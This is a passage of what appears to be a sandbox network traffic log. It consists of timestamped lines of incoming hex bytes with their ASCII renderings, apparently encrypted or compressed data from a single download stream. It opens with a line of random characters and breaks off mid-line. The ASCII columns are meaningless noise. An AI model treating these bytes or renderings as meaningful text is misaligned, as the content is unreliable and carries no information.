e>I(@11DRU+;5v@Sgq0gjSiONvC"6F%m;"0Hd#pdWb#agDVpcp6!2sqGgv(+%67&+kNR%&bHA`Ny/^P=*~-M75PL)MVf}\|b?[r8
2021-10-12 00:46:07 UTC	384	IN	Data Raw: a9 eb 8d 15 c9 a6 0d 64 cb 1a 1d 7f c9 0d 3d b1 ce 1b 80 eb 68 54 fb c3 f0 c9 0f 61 15 04 a2 bb 5a 8a 3b 46 0b 7c 35 3a 02 e3 e4 e1 54 d1 a3 7a e2 91 a2 b4 06 30 cc df 18 6b 45 ac a4 48 d8 0a 5f 3c 6f 1d 3d 07 b0 1c 24 0b a0 60 01 60 12 b4 bf 3e 9c 61 6f c9 ce f6 60 5d 89 62 fc 9f 41 a2 8d b5 bc 4e 2e a5 4a 5e 7f d5 bf a2 33 b8 15 90 59 0c 68 02 f3 ec 69 89 c7 f9 78 ee 90 2f a3 cc dc ce 4d 22 ea 18 80 f3 39 5a 7f 0b 02 49 dd 44 a4 c5 d2 52 90 c0 7d d3 28 68 66 47 27 c6 e6 ca a1 25 fc 67 67 9f 7b c3 c0 a7 ac 58 02 3e e8 47 a7 f9 1f 62 b7 56 73 a4 8e 4d 2f 4f ec 7a 13 4d c1 82 9e fd a4 cf c8 ed b5 2b 8b 48 21 83 1f b2 f5 fd d7 6d 24 33 3f e0 0d 12 d2 14 94 7d 39 c7 bd 86 ef c8 a1 91 10 7f f4 3b bc cb c8 c4 52 9c 87 dd 89 58 83 d9 3e d1 81 35 61 af 03 b1 21 Data Ascii: d=hTaZ;F\|5:Tz0kEH_<o=$``>ao`]bAN.J^3Yhix/M"9ZIDR}(hfG'%gg{X>GbVsM/OzM+H!m$3?}9;RX>5a!
2021-10-12 00:46:07 UTC	400	IN	Data Raw: 8d 51 4b fd 8a 58 82 60 45 91 86 f2 66 c3 42 27 2d 42 f7 ff 69 0a ee 89 65 a8 fa ad c0 e5 9b f0 b2 5d 5e 4d 3e ca 52 3b 5e 0f 9d 14 75 f0 b2 79 62 b5 e3 2f c7 2e cd 50 61 da 55 d5 8a 8b 0a 4f 8b 23 d1 c1 87 64 4e 80 3b db 6a 5f 77 f1 33 e3 32 cf a3 8a d2 7b 17 b2 74 20 05 23 74 7e b0 ca 0b 61 c4 5a 57 3d 96 52 ab bd f5 81 1c 47 89 07 c4 c8 ed fa 28 c2 e5 41 ec 1c 9f 96 01 44 cc 63 02 48 1d d7 fa bf 86 2d 9d 54 fb 5e 49 0b 00 a9 de cf 0c 35 91 5e 87 4a bc eb 8f 4a 19 54 7d d1 58 27 55 9c d5 75 4f b4 bd 17 4c 68 f5 97 54 84 70 48 c2 cb 58 cc b0 ec c0 61 23 ad 41 4a c7 c7 30 08 54 07 08 1a 59 c4 75 d9 ed ba 1f 6e e8 b6 b5 c2 64 d5 67 01 a5 58 b1 56 0a 6e ac 5d b3 7d 5e 24 68 80 b1 fb f9 82 d1 b0 2a 70 27 7f 51 34 b4 f3 5c 1a e3 5c 76 0d 88 14 61 ae 07 b7 5e Data Ascii: QKX`EfB'-Bie]^M>R;^uyb/.PaUO#dN;j_w32{t #t~aZW=RG(ADcH-T^I5^JJT}X'UuOLhTpHXa#AJ0TYundgXVn]}^$h*p'Q4\\va^
2021-10-12 00:46:07 UTC	416	IN	Data Raw: 11 5f 5a e5 96 1f 84 1c c2 36 4a fb 81 d2 12 50 48 0f f6 97 76 cf 46 96 5b 68 b1 52 f6 58 99 d9 ea cb b0 a8 ce 15 71 41 c8 54 fd e3 d0 ab ca 31 11 f9 f7 ab cf 5b 54 97 fd 27 2e f7 aa 25 98 90 f7 d4 e9 78 ea df e6 21 6a 0a fc 8b ab df ef 34 e8 55 01 1c 81 e1 e3 9f 5d b9 dd 88 44 f3 b0 c0 f1 de 7b 0d 36 bd 69 f2 50 60 61 46 5d bc e0 e7 4d 25 00 b3 b8 6b e4 74 0a e9 56 8a 5c 67 ad b4 7e b7 6e cc 8f a3 e9 2a 33 39 2e d6 c2 f1 da 3b 5b af b8 18 f9 c0 a8 1d 07 a6 71 eb 77 e9 08 c5 36 db 97 79 47 dc b4 fa ac 02 e9 67 68 5a 60 a0 fe 9e fd ae e9 dc 43 da 03 29 b5 c4 4f 9c 9d 2d ed 8d 80 3d 00 88 b3 1d f9 00 6d b7 a2 34 17 fa 06 85 00 a5 08 42 e9 9f b1 2a f4 f8 f1 6d c7 13 05 1e bf 91 d0 63 92 0f 10 d4 fb 23 f1 e3 f1 0a 27 7a 0c 68 5f 67 f5 0e 6c e3 bc 15 46 88 a3 Data Ascii: _Z6JPHvF[hRXqAT1[T'.%x!j4U]D{6iP`aF]M%ktV\g~n39.;[qw6yGghZ`C)O-=m4Bmc#'zh_glF
2021-10-12 00:46:07 UTC	432	IN	Data Raw: 57 33 fa bb c0 f9 23 2b 97 cc 5c b5 7e 75 6b 0b d8 aa c8 a6 b6 6e 61 4a 8a 2e ef 95 fd ad 17 e6 39 ff 65 09 4b 80 93 0f 69 37 91 47 f2 b0 7a 6d da 10 c2 76 6c 3a 89 4a 41 6f 6f 3b 3e 95 30 c9 76 43 77 a2 9d ad 9b d8 b3 a4 44 56 ee 03 9d 52 5b fa f6 e3 b7 2a 2d a6 29 11 ab 95 e4 59 6c b2 b3 72 a3 1f bd ec 33 34 d6 4e 03 89 f2 6b 6c 1f 40 ef ea 4a e6 48 cf 83 6b b3 e0 c6 f1 cc f5 ea 19 e2 b6 ac 93 73 2b f8 fd bc 96 9c e3 79 bb 04 ed d7 99 a6 d1 dc 33 76 fa 29 ac 55 98 f2 a7 0e f8 74 d8 90 c3 16 71 8a 85 60 5e aa 31 d7 06 c4 90 33 a5 a9 e9 7c 90 85 f1 30 90 fc 7b 35 db d5 be da 63 b5 0f 10 b4 ae 02 ca af 68 3b a4 4f e0 ec 36 f6 3f 40 d9 af 58 74 33 ec 84 7e 94 ed 03 d0 13 77 cb e4 de 25 7d 6d bb f7 c5 ce de e1 89 99 22 6d 1c 71 47 a5 07 1e 14 25 70 39 5d 97 Data Ascii: W3#+\~uknaJ.9eKi7Gzmvl:JAoo;>0vCwDVR[*-)Ylr34Nkl@JHks+y3v)Utq`^13\|0{5ch;O6?@Xt3~w%}m"mqG%p9]
2021-10-12 00:46:07 UTC	448	IN	Data Raw: 5a a4 a0 b7 af fc 62 80 17 24 b3 66 3a cd f1 22 55 54 a5 ab 7c b9 bb f6 d1 a8 f1 8e 70 6d 1d 84 1b 00 49 fe 21 ef ac 67 fc ef 9f 7c 76 e3 60 34 aa 8f a7 3f 25 4b ac 2d a8 7a 7a d6 cc 89 19 58 b9 05 74 1e 70 2d be 7f aa db 28 a8 f9 4c 74 ee a8 ee 52 5d 68 be 41 49 9d ac 52 4d 9f 70 08 c5 94 b8 13 1f c1 be 52 bb 9f 29 61 39 a8 b2 2c 29 f8 a2 36 dc b8 e3 25 8e 33 68 7f 98 9c 7a c7 60 39 ee 1b f8 52 fc c1 4b 72 9b 77 eb 74 da 15 08 d6 c6 3e d7 ec a6 45 68 ce d1 62 4a de ef f0 37 69 14 7b f5 b6 63 bd 5f a4 9c d0 7e 44 26 57 3f e0 01 ac 14 a3 c1 c8 b4 cd c0 db b2 da 9a 7d 01 1e e5 68 a8 c8 9a 65 ba 23 29 2f 0d ee bb 61 f3 a3 db d2 8b 83 f1 46 74 8f fa 11 89 d5 02 20 0f 80 83 3e 2b d3 9b ba be 00 6f cc a9 d9 c7 08 19 21 f7 42 58 ea 42 c7 cc cc 57 2c c3 1e d8 62 Data Ascii: Zb$f:"UT\|pmI!g\|v`4?%K-zzXtp-(LtR]hAIRMpR)a9,)6%3hz`9RKrwt>EhbJ7i{c_~D&W?}he#)/aFt >+o!BXBW,b
2021-10-12 00:46:07 UTC	464	IN	Data Raw: 79 3a e0 cc d5 88 dc 82 44 ba b7 1b 88 57 e0 b4 27 4e 58 d2 6e e8 d1 b6 b3 2a ca 78 69 c8 12 c8 df a9 4d 26 61 bf 41 21 9b ca 7f f1 1e a3 57 31 a7 66 aa 50 8d 19 50 b5 8a c5 07 5a 5c ba d0 25 17 dd 32 ac ee 93 24 fc 6d 8a 4a b4 9a d0 7d ce 14 a0 9e b4 78 27 9c 64 ca 6b 9e c4 80 42 db 73 f3 3c 0c 19 60 57 22 8b 2f 70 4b 07 9a b6 81 fb f9 fd 8f 57 39 90 de f1 04 e4 76 4e 44 f0 be 6a 14 93 d5 f2 d2 54 cd fb 59 44 fd 6f 40 81 73 a0 6c 25 f3 ca f3 fc ea 09 96 0c fd f3 6e a4 ac f9 be b9 d1 8e 62 c9 a4 1b ca 3d 84 c8 5b 4f c5 5f 23 8e 16 01 f9 07 23 66 5f ad 7e 68 a1 c6 df fd 18 a6 ac f3 51 a1 3b c5 87 d9 93 b1 44 f8 fd 98 e8 a4 ea 65 3a 7f c3 00 6b bd 7d cc b4 f9 78 66 dd b0 4b b2 0b 3d 91 60 90 e7 11 2f 49 74 d0 14 94 bb 56 7e 92 80 b3 51 7d 0d 49 8c 2e 40 79 Data Ascii: y:DW'NXn*xiM&aA!W1fPPZ\%2$mJ}x'dkBs<`W"/pKW9vNDjTYDo@sl%nb=[O_##f_~hQ;De:k}xfK=`/ItV~Q}I.@y
2021-10-12 00:46:07 UTC	480	IN	Data Raw: 0c 00 5a 67 93 f8 55 d0 51 3b c2 fe 9a c4 33 5b cd f2 bb 34 93 d9 5f 6f 23 c7 e7 dc da d5 0c 2d e3 39 01 ff 64 be a4 9f af 3b 93 a2 49 2c 3c ae 2e fc 54 39 32 ff 06 91 7e 7a 00 bb c7 8a 18 e4 5e e2 a6 b8 1f d5 36 8f e6 62 84 89 7b 42 17 9e 1e 37 a5 f7 f5 fa e2 64 9d e2 bb df 09 87 1c 8c e0 01 62 4d 09 a0 29 57 38 f6 da 09 74 8f 6d 4e 29 17 3e 57 83 1e d2 14 48 19 c4 88 e2 03 42 c9 98 05 f6 87 43 bf 02 16 56 21 69 1d 31 24 c3 9a f3 18 dd e4 09 ff 9c c9 12 c0 8c 9e 6b 00 a8 83 af bc 44 52 a8 74 8f 72 8b 48 88 ac 30 b8 18 36 b7 fc d0 fc cf e3 ce c6 e8 64 98 87 86 23 0a 6d be e5 f3 ef dc eb 1f ff 77 9c c9 81 fa 82 69 12 af 42 af d1 1b 6f 38 31 46 7d 6e 84 d8 7b 69 b2 aa f5 03 34 df f8 6b 3c 25 0c 12 0a bc 76 7b 9b c8 c5 7b 15 c9 ea 11 08 8b 0f 0a 4e e6 5f a0 Data Ascii: ZgUQ;3[4_o#-9d;I,<.T92~z^6b{B7dbM)W8tmN)>WHBCV!i1$kDRtrH06d#mwiBo81F}n{i4k<%v{{N_
2021-10-12 00:46:07 UTC	496	IN	Data Raw: 5a 50 a1 08 46 da 24 f8 82 fe 54 33 e8 5e 9c 8e 27 da fb 78 6e 2d ae ac 8b 3c 0d 78 88 fa 3f 1b 1f ef bd ac 7c 2f f5 20 28 4d a1 64 96 e2 39 fc af f5 4a 17 ac ec 8c a5 a8 b5 c6 db e8 b7 f7 81 78 8d e1 64 7f 5b d6 14 67 c5 8e 79 d1 d9 b3 8f c9 d7 ee b7 eb 78 79 4f 1a 5d 1a f8 e8 74 10 dd 71 71 4e ea 8a 4f e4 ac 1f 7b b3 5b 61 47 30 0b c1 7a f9 6b 5f 80 a3 ca aa ee a2 50 ff cf 97 9d db ff 35 61 cc 0a 81 22 e1 cc 3f 7d 37 ae ed b1 fa c1 29 9a 9e 47 5e 85 bb 04 c3 a6 06 c1 6a 2f b2 79 da fa 72 19 aa cf 19 61 64 36 d3 15 f9 83 d9 51 73 b1 92 a7 ac 6b f5 02 ce f7 2a a9 62 e2 5f 74 84 ce 82 77 dc 40 0c a1 7d e0 ea 73 cd 20 be ae 6b d3 41 ac d9 b8 c7 2d 74 90 23 f2 ed e7 ba 43 a5 0b 06 19 4d 79 64 df 48 d7 44 56 01 91 19 ad 50 07 ca 26 af 5b 5b f5 e5 8e 43 8a 4c Data Ascii: ZPF$T3^'xn-<x?\|/ (Md9Jxd[gyxyO]tqqNO{[aG0zk_P5a"?}7)G^j/yrad6Qsk*b_tw@}s kA-t#CMydHDVP&[[CL
2021-10-12 00:46:07 UTC	512	IN	Data Raw: 36 a1 df ba 69 5a 71 cb ba e8 fd 2d 2e 1b 5b 8a 57 4d 6d 64 a2 5f 8d 69 2d 45 1a 95 51 ea 7f 4b 52 3c 09 92 33 e5 a9 ef 2a 0c 38 ae 1b 82 89 96 bd 91 74 ad 53 fd 6f e9 b0 ee b9 73 0a 27 80 d1 6b ed 3a c9 27 b9 cf 54 24 2f 58 46 d1 41 ab 66 01 c4 31 af aa 89 fc 07 8f e8 73 9b b1 76 2f 5d c7 64 36 2c f4 21 c1 82 b9 d4 1c 0c 56 f7 18 4c 9c 83 4b 7e c9 c2 c0 ca e8 7c e0 6e e1 63 25 ac 9d 1b c4 1c 3c b7 5b a9 04 9a 4b eb 27 b1 05 08 fe 5e 62 6d e8 cb 47 0f e6 90 7d 13 da 55 52 20 6d e0 d1 52 55 f0 ac f0 3e da 4e d3 c3 a4 6f a7 58 a7 d1 d1 13 06 7b 48 0b 9c 87 26 99 82 c9 bc 7c 2d 76 74 eb 99 f7 0f 34 96 36 03 75 31 6d b1 1f 4d 5e 01 7a bf 4a 2d cb 30 07 a2 74 16 41 b6 e5 9a 45 91 74 0b 39 6c 47 f4 77 74 77 15 c9 0d fe 00 f9 59 8c ee 66 11 95 ab d2 9b 03 cd 90 Data Ascii: 6iZq-.[WMmd_i-EQKR<3*8tSos'k:'T$/XFAf1sv/]d6,!VLK~\|nc%<[K'^bmG}UR mRU>NoX{H&\|-vt46u1mM^zJ-0tAEt9lGwtwYf
2021-10-12 00:46:07 UTC	528	IN	Data Raw: 0c f6 2b 1d 4b a7 94 4e 49 3f a2 89 cf 7c 05 35 c4 8b 4e db df 1b e3 b8 06 a2 30 b5 02 c8 ae 84 6e d0 79 b4 2a 93 43 52 10 9e 10 7b 85 e4 4b 7b 92 5d 66 76 6d c1 0d 9c e4 8e a7 36 bd 0f 7c 5f 5e 89 88 8c e1 43 7b 9f 03 b5 de 2c 51 d7 db 30 27 3d 3f 47 c8 95 fc 03 72 28 86 9f ed 6d 83 cd 3b 00 49 b9 9a 4c 1e 2e a3 42 09 c7 2f 10 b4 16 03 84 0b 95 62 96 6a 33 b7 65 8a 42 ad d6 7e 02 96 22 1c f0 1d 3e 4c 0b e4 1d dc 43 4f 2d 9b 00 d8 44 18 b1 95 25 98 54 3e 38 b0 e3 40 34 02 9a 4b 15 e2 fb 63 e5 a9 6c 8d 3b e1 1a 8b da 64 b3 9d ba 7c 35 0d 5c 9c 9a c7 e5 db 37 ef 2a d6 80 b5 f5 ff 43 40 8c 7f d6 92 27 6e c8 51 0b 97 fd 1f 02 05 39 8c cf ae 71 29 22 6a e4 2f 87 37 cb 76 c3 2a e2 47 12 f9 14 6c 5a 3e e4 06 d3 2d 42 54 7b 07 31 30 12 7d ce c8 44 f7 5a 71 1c ec Data Ascii: +KNI?\|5N0nyCR{K{]fvm6\|_^C{,Q0'=?Gr(m;IL.B/bj3eB~">LCO-D%T>8@4Kcl;d\|5\7C@'nQ9q)"j/7v*GlZ>-BT{10}DZq
2021-10-12 00:46:07 UTC	544	IN	Data Raw: 47 70 c6 78 36 91 bc 34 92 de 2c 96 1f 6e 4a d2 e5 44 28 e7 0f 67 6c 38 68 66 c3 1e 45 d1 40 56 c4 65 40 92 c3 e8 a5 0c 74 8c 58 c1 4f e3 c5 79 f8 fc 0d 31 a6 97 f4 9a c0 86 71 de 70 ae 6c 8c 37 75 cb c8 18 f9 84 e1 4b 2c 1f 67 0a 77 7b 81 17 11 34 ec 89 cc 98 ad 18 a2 1c 2c ae 9c 75 4d 88 ee ff de a0 4b 15 8e 7a a1 8f d8 8d d3 88 56 63 b0 89 f2 0f a6 e5 37 7c 80 4a 1c ad 6d e4 9d ff 5d c9 7e 01 a7 05 12 3e d6 82 ca 48 b7 a2 6a 94 ca 7d 8c 94 ca 46 97 68 d9 69 29 ef 6b be b0 8e ae 19 f3 83 90 77 99 3a 39 69 58 fd 26 1e 09 b4 58 14 e1 6d 40 4e 66 de 92 3e 10 49 88 d2 90 24 1d dd 60 a5 7b aa 22 dd 45 43 6c e8 ad a5 ae 30 53 48 1f 44 83 b4 e3 38 75 29 af 9d fb be 9c 2d a0 0e 6e 8c bd 01 59 ce d7 d3 e1 ac 41 b4 fb 4b eb cc 99 ab 2f d6 c3 bc c3 29 b6 06 d2 ca Data Ascii: Gpx64,nJD(gl8hfE@Ve@tXOy1qpl7uK,gw{4,uMKzVc7\|Jm]~>Hj}Fhi)kw:9iX&Xm@Nf>I$`{"ECl0SHD8u)-nYAK/)
2021-10-12 00:46:07 UTC	560	IN	Data Raw: a3 b7 7d 8d 50 4f 1a f8 46 8b ad 52 58 5f 49 fe 3f 26 dc cb c3 9a 71 79 72 9d 02 08 ab 18 75 49 a6 50 c2 ab 66 ac 49 7a c8 de d4 5f de 99 62 84 8b 43 18 45 25 4b c4 d4 d4 6d 90 b9 fa 11 45 5d 05 78 9b f4 3f b5 47 e4 b2 96 ba 38 cc 61 cf 0c 6a 46 dd 68 3e 64 56 f3 4e db 6f cd 76 d0 27 1b 50 e3 8d 4d 70 5f a3 f3 96 46 9e fd 06 7f ce b9 e2 20 f6 08 da 86 d9 a5 e0 bc 41 d5 2d 1b 85 41 ef c3 18 84 bf 83 35 bc 98 7f 2a 82 85 53 67 e4 f3 34 21 cc 87 5c 80 97 76 bb ba 82 78 f1 8a a6 13 eb ad b8 18 31 c3 f2 24 9b 41 7c ff 77 27 6e cc 26 1d 78 3a 30 4a c0 6c f6 5c 93 e3 bf 99 67 8b 52 af b5 26 a9 50 cf 7b 27 a7 10 51 7f 21 83 2c 2e 63 28 c6 93 a9 b6 67 f4 a1 6a bc c0 b4 b0 3c 41 98 45 f1 b1 73 69 ea 58 23 98 92 90 d4 b1 35 59 20 5b 9b 24 b0 1c d5 0e 47 0c 8d 4b c1 Data Ascii: }POFRX_I?&qyruIPfIz_bCE%KmE]x?G8ajFh>dVNov'PMp_F A-A5*Sg4!\vx1$A\|w'n&x:0Jl\gR&P{'Q!,.c(gj<AEsiX#5Y [$GK
2021-10-12 00:46:07 UTC	576	IN	Data Raw: 64 0e b7 80 5a cd 75 f3 4b 22 44 65 2b 8c a9 7a f6 fb 31 20 ed 5f b2 b9 8f f3 eb 3f 63 8e 95 c5 7b c9 ae fb 39 8e 45 02 18 20 d2 24 0d c8 6f be b0 c4 1c f0 77 d0 c0 21 71 a9 4c 46 6f f1 92 31 0f 00 01 4a 92 88 14 5f 81 44 a4 ab b4 24 a0 a3 d8 dd f7 53 84 c0 02 70 7d 85 77 78 11 b7 e6 93 ac cd df 0b b2 cb 52 07 ba 3e 9b 6c bb 91 73 b8 7e 96 d9 e8 2b a1 11 75 9d 2b 42 33 f3 9c 32 ae 7b d7 01 52 21 be ca 24 98 5d 31 6a eb 1b d0 92 b4 28 51 89 a5 ca 25 4f d7 06 4d da ab f3 fc 87 dd 65 db d8 c3 e1 1e 49 62 93 6f 9c 65 40 15 a9 37 34 7a cf 07 36 32 ec ab ed 78 23 d0 39 7d 5f 7d 5f 68 22 67 f9 dc 29 4d 34 77 df b1 91 75 4d 75 ec 1a 7b 82 d4 75 15 7a 1c 5f c1 63 0e 0b e2 d8 bc 34 c6 8c 32 6c 7c bc d2 27 f8 26 b6 2f fa ac 36 3e c3 38 45 ba c8 4d bb 76 12 e7 dd 9f Data Ascii: dZuK"De+z1 _?c{9E $ow!qLFo1J_D$Sp}wxR>ls~+u+B32{R!$]1j(Q%OMeIboe@74z62x#9}_}_h"g)M4wuMu{uz_c42l\|'&/6>8EMv
2021-10-12 00:46:07 UTC	592	IN	Data Raw: 8e 5d ca 27 9b 45 55 ca 0e 0e 5a 26 97 3b 5d 15 a6 8c f2 a8 cb 52 58 c4 8b 72 46 07 d1 24 70 12 e6 68 f9 fa d8 11 77 98 2f ed e1 45 3a ec c2 23 e7 56 93 9e e4 2b 11 6d dc 6c 4c 36 4e 35 15 09 cd 92 5d 08 1c ae d7 54 2c 80 95 e1 cd 91 bb 27 44 71 25 d3 b0 4e 2e 25 30 e7 ad 4c 38 3f 41 01 e9 3d 69 64 e6 36 91 63 9c cb 53 26 f8 4b d5 82 9b 64 4e 93 2f 06 af 44 8e 69 21 14 bb 37 13 7a 4c f8 97 c7 14 57 99 57 1a ee e0 ad 98 da ab 20 bb af a0 c8 1e 9d e6 c1 22 f9 a5 6b e7 22 06 00 36 6c 13 0d b9 fd 88 4e f5 ac b9 d5 46 80 26 78 b6 85 6b c8 e6 1c 4a 26 9a 90 a8 b7 bf 61 5b d6 0b 3e d1 39 d7 33 7c 9b 6e 32 81 67 e4 f9 29 96 3e 01 3b 98 49 0d 01 da c1 30 96 da ce db 87 28 89 b3 ce 2a 1a 65 bd da bb a6 17 63 79 1b 2d 9b 7e 71 4d 79 db 01 30 85 e0 ff 77 05 0c d3 d4 Data Ascii: ]'EUZ&;]RXrF$phw/E:#V+mlL6N5]T,'Dq%N.%0L8?A=id6cS&KdN/Di!7zLWW "k"6lNF&xkJ&a[>93\|n2g)>;I0(*ecy-~qMy0w
2021-10-12 00:46:07 UTC	608	IN	Data Raw: 17 bf 1c 9a d4 30 c1 36 68 23 10 3e 3a a0 7b cf 0c b1 01 98 a7 98 c1 93 2d 2f bd ef 61 1c 4c ad c9 ce f1 48 bb da 0a 8a 31 22 18 c3 54 67 d1 57 16 7f 89 c7 1c 72 96 01 01 cb 9a b0 e5 53 a8 fb 60 0f ac 1b 88 50 c0 af e9 95 c8 07 f0 96 ab 9b 8b 1c 6f bb 02 39 44 c8 a5 0f bb d5 49 7d ca 5c 52 b9 7a 82 e5 3f b9 c5 ca 9e 2b d8 f5 c4 99 10 30 9f 5a c2 ad 43 46 98 a4 4b 8b 15 c5 68 58 34 e0 c7 91 4e e7 4c d6 2e 8b 39 4b 85 99 85 b5 d9 a6 71 67 f9 b7 b4 5c 64 b6 19 d5 99 e7 a4 ad 66 7a 66 bd 34 df 26 92 10 59 5f 95 00 ab c3 89 e6 a6 99 b6 f3 34 06 3b d0 8f 47 86 a8 1c 2f 3a ca fa 55 ec 63 f3 c2 b9 0e 22 fc a3 1c 26 9d 00 68 5c 14 55 87 c2 50 6c 55 59 1c ca 5e 23 78 be fd 44 d0 40 23 27 e1 7f fe be 3c c1 33 b5 b1 86 81 e0 b6 5f ca 32 ae 41 d3 6a 22 b9 7e 1b c6 5a Data Ascii: 06h#>:{-/aLH1"TgWrS`Po9DI}\Rz?+0ZCFKhX4NL.9Kqg\dfzf4&Y_4;G/:Uc"&h\UPlUY^#xD@#'<3_2Aj"~Z
2021-10-12 00:46:07 UTC	624	IN	Data Raw: 30 3e ef f6 9f a9 a6 53 ef d1 03 1b db 2f fd d3 34 87 27 04 94 3e b1 bf f3 ce 05 0c 82 9b 6a a8 78 f4 fd 86 6c 0c 0b ab 6f 89 e5 22 d9 d8 8e e4 b4 40 43 9e d4 ef 4e be a5 6f 70 5f bb 13 20 0d dd 4a a8 28 84 3d b5 28 9c e0 a2 39 25 d6 d0 51 8d cd b7 06 dc 67 94 e8 4d 89 c3 50 59 ba 65 5b 93 db e5 e7 fd 0b d7 c7 87 2a 71 7f fe 22 61 f5 94 36 87 09 4a c5 87 a4 7d 9b 08 d9 2f 62 90 f1 29 16 3b 2d 4e f4 61 37 f7 ab 96 7a ce f1 2a 89 55 40 b2 5b 97 f0 40 b6 13 9e 7d 16 64 ab d4 b1 28 86 30 7b 6d bb 2f e5 bc b9 ce 2f 64 aa 24 58 94 60 79 40 2b 90 8c 6c 25 95 6e 69 51 be 1d d0 c3 03 0f c2 27 be 65 5a da de cd fe d5 17 50 f4 a0 2d c7 ed e5 50 32 e6 dd 61 f8 51 9a 59 2e 37 30 cc ae 03 74 ca 6c a6 68 cb 1c c9 0a 7c c7 db a9 22 87 11 b8 80 0e 92 b2 10 0c da a9 bc 93 Data Ascii: 0>S/4'>jxlo"@CNop_ J(=(9%QgMPYe[q"a6J}/b);-Na7zU@[@}d(0{m//d$X`y@+l%niQ'eZP-P2aQY.70tlh\|"
2021-10-12 00:46:07 UTC	640	IN	Data Raw: 86 29 cd 85 19 81 ac 9e 24 54 2f df bf 42 ce 89 64 28 f2 8f b1 20 0a 3f f2 00 b9 bf 26 29 d9 e9 09 26 ec 1e cd 4c 0d f4 25 8b 02 8f 28 cb f4 bd 9e ce ea 29 79 1b df ba f3 8a ce 81 24 2e 28 ac e9 f4 e5 93 dc 8b ad 66 41 7d 86 49 28 61 de 89 b8 af 92 47 a8 9c 42 a1 37 0a 8b af 6a af ef b1 ce fd c1 e9 a2 87 a5 60 67 a2 5c 2f fd d1 ff 7d 99 3d 38 82 66 b7 bd b6 4e 67 c0 08 9f 91 26 8a cf d9 ee 99 9e fc d9 17 34 27 7f 90 eb c9 5e bc 65 9a e3 70 39 95 b3 2d 84 d9 54 f2 2c 2e a5 e5 96 fe 67 0d f0 83 5a dd 9c 5d ec 08 7b 47 39 55 ae 42 c3 d9 6a fd 15 54 28 ac d8 bc f8 2b a4 82 4b af dd 9b af c2 9b 16 d5 93 79 01 39 91 3d 0d 48 b8 9b fe ad 47 82 15 eb 93 fe 36 2e 3a 14 54 22 43 11 70 6d 89 23 e6 8c f6 df 60 a9 9d 62 7b 61 1a ce ad 99 34 66 82 ee 10 61 f2 3e be 37 Data Ascii: )$T/Bd( ?&)&L%()y$.(fA}I(aGB7j`g\/}=8fNg&4'^ep9-T,.gZ]{G9UBjT(+Ky9=HG6.:T"Cpm#`b{a4fa>7
2021-10-12 00:46:07 UTC	656	IN	Data Raw: dd 32 fe 85 29 79 a9 94 54 28 f9 87 53 63 66 e7 51 aa d0 6c b7 6a 09 aa 0c 16 11 d6 f5 21 89 45 8e 21 f0 3f 99 49 29 81 9c 65 a4 8c e3 b6 6b be 12 43 c4 b4 ae 0c 9b b5 18 a9 30 c3 44 82 d2 a7 15 f5 c5 fd d4 a3 e2 0a c4 96 37 34 48 02 ba a2 70 79 ee 51 cb 75 8c ed b7 7e bd 40 5f eb a6 fa 6e d1 62 b1 3b 43 64 b5 f6 f7 3b 5f e2 67 d2 c8 e8 8b b0 42 b4 fd 7a 27 f8 e0 c8 fc aa b3 c0 f6 d2 dd 82 f2 cb 7b 51 53 25 6d bd b5 9b 09 22 8f 00 81 bd d6 59 c5 1f 4d 28 c5 17 79 05 29 94 32 45 81 7e 9a 53 ad 2c ab 63 d0 39 a4 5f b0 6b 99 ee 14 64 6e f4 0d 86 8c 08 b7 86 df ab 6c 60 e0 4f d3 17 35 7d 29 40 a0 e9 80 01 04 33 20 fe a4 31 88 fd 70 4b 6f 2c 02 be 08 af 02 e8 5d 66 eb f3 41 dc b4 60 c7 ca 80 57 15 13 70 bf 50 ba 0b 60 ed 7e 67 b7 1e 0b 5f b6 aa a5 6c 09 62 a5 Data Ascii: 2)yT(ScfQlj!E!?I)ekC0D74HpyQu~@_nb;Cd;_gBz'{QS%m"YM(y)2E~S,c9_kdnl`O5})@3 1pKo,]fA`WpP`~g_lb
2021-10-12 00:46:07 UTC	672	IN	Data Raw: a4 7d a9 c2 4e 78 66 41 2b 5c a9 b7 c2 80 ba d4 46 ac c5 3e 5c 25 da 7c f6 ce 97 58 f6 c2 36 80 bf c0 a4 22 ed 8f 39 a8 50 12 3a 66 a8 de 45 d3 f3 dc b9 87 8e 6a 02 67 b4 80 42 d6 5a c4 f6 65 26 eb 69 5c 50 30 b4 27 df 09 7a 44 dd 41 4b 85 b0 a3 79 7e c4 6d 2c 53 d9 6c 40 f7 ad bb e5 e5 18 a1 0f 8a b5 dd 3c 5e 81 a3 a2 f5 e1 b1 46 aa 1c 48 00 54 8e 2d 66 b9 f3 91 c0 5a 84 05 c3 fb 22 4a 32 3c 02 84 26 14 ee 6e d4 17 06 54 ce 7a 4a 2a 8f d3 45 e8 65 af 4e d7 c4 64 ca c0 70 e4 c3 13 00 75 97 cc 0f f7 64 06 e1 52 7c 46 4e d3 d9 d6 ce c8 12 53 86 12 fd 92 f3 17 24 12 bd c7 65 07 87 6b c0 83 47 01 4d 9e 68 d6 9f 0f 1f f3 69 c1 37 83 f4 38 7d 2d f8 63 df 0e 0d 43 f2 5b bc 6d a2 25 ef ce a1 cc d8 6c 94 9a 35 a0 c8 bf c4 ee fe 2a 7e ad 51 c0 da a5 9f 0f 13 0b 9f Data Ascii: }NxfA+\F>\%\|X6"9P:fEjgBZe&i\P0'zDAKy~m,Sl@<^FHT-fZ"J2<&nTzJEeNdpudR\|FNS$ekGMhi78}-cC[m%l5~Q
2021-10-12 00:46:07 UTC	688	IN	Data Raw: 5b e8 8a 21 5b f3 c9 f0 8f e6 ff c2 bb dc 70 b2 87 4b d3 ea 50 fb 58 2c e4 6d 37 6e 44 e0 69 f1 dd 12 ca 35 be cf fc 68 c4 b9 d9 b5 3e 07 2b 73 e2 a8 e9 26 6b 70 9d 2c 0d dd 9d e4 b1 35 0a 33 cc 90 e2 76 ab c3 12 0b 36 57 7c 88 b0 7e 66 11 ff 58 81 92 ee a6 fa d0 0a 2f f0 f6 71 4a ab 29 3a dc b8 11 c1 4b f2 c6 08 a2 06 4c c9 d2 ca 53 9d 9b 59 81 d1 d0 19 9b 86 fe ec 4a be e8 0d 2d c6 ee a6 18 64 32 50 6d 46 bf ce 45 9c 61 fa 51 c9 30 68 c5 bc 1f ce 21 99 8f c5 00 3a ec 6e 37 2c 96 f0 20 1d 28 65 77 9a b5 0f 3e b9 38 16 42 c6 77 ae a4 1e 3b b9 e3 4f f0 9b a0 81 7e ab 0e da dd 4d 8a 30 8d 7a fe 00 33 0d a3 e2 f9 71 16 4d c8 42 6b e2 